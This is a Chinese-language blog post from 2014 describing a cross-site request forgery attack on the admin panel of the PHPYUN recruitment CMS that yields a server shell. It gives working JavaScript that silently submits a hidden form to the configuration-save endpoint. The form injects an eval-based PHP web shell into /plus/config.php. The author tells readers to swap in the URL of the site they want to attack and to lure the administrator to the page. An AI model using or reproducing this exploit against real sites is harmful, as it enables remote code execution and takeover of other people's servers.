PHPYUN云人才系统后台CSRF Getshell

作者:hack1990 时间:14-06-09 阅读数:777人阅读

首先从后台getshell开始。
 
网站的配置文件,/plus/config.php,用的是双引号做键值,这导致了安全问题。我们可以把php代码写进双引号里面执行。
 
修改配置文件,提交:
 
 
 
然后访问/plus/config.php:
 
 
 
 
 
特别的是,因为phpyun后台没有防御CSRF的办法,所以我们可以构造一个表单,诱使管理员访问,修改配置文件,导致getshell。
这是CSRF代码,将里面的url修改为你要攻击的站点。然后把这段javascript代码放在任意页面中,诱使管理员访问该页面。
 
gum = function(){
 
    var u = {
 
        'version':'1140213',
 
        'domain':'{{domain}}',
 
        'backinfo':{},
 
        'author': 'https://github.com/quininer/gum'
 
    };
 
 
    u.e = function(code){try{return eval(code)}catch(e){return ''}};
 
 
    u.name = function(names){
 
        return document.getElementsByTagName(names);
 
    };
 
 
    u.html = function(){
 
            return u.name('html')[0]
 
                    ||document.write('<html>')
 
                    ||u.name('html')[0];
 
    };
 
 
    u.addom = function(html, doming, hide){
 
        (!doming)&&(doming = u.html());
 
        var temp = document.createElement('span');
 
        temp.innerHTML = html;
 
        var doms = temp.children[0];
 
        (hide)&&(doms.style.display = 'none');
 
        doming.appendChild(doms);
 
        return doms;
 
    };
 
 
    u.post = function(url, data){
 
        var form = u.addom("<form method='POST'>", u.html(), true);
 
        form.action = url;
 
        for(var name in data){
 
            var input = document.createElement('input');
 
            input.name = name;
 
            input.value = data[name];
 
            form.appendChild(input);
 
        };
 
        form.submit();
 
    };
 
 
    return u;
}();
 
gum.post('http://localhost/yun/admin/index.php?M=config&C=save', {
 
    'config': '提交',
 
    'sy_hotkeyword': '招聘,求职',
 
    'sy_bannedip': '', 
 
    'sy_fkeyword_all': '***', 
 
    'sy_bannedip_alert': '暂时关闭,,,,',
 
    'sy_regname': 'admin,zhongguo', 
 
    'sy_fkeyword': '{${phpinfo()}}{${eval($_POST[a])}}'
});
 
 
管理员访问后就已经更新了配置文件。我们直接访问http://localhost/yun/plus/config.php就能看到phpinfo了。菜刀连接,看到shell静静地躺在那里

发表评论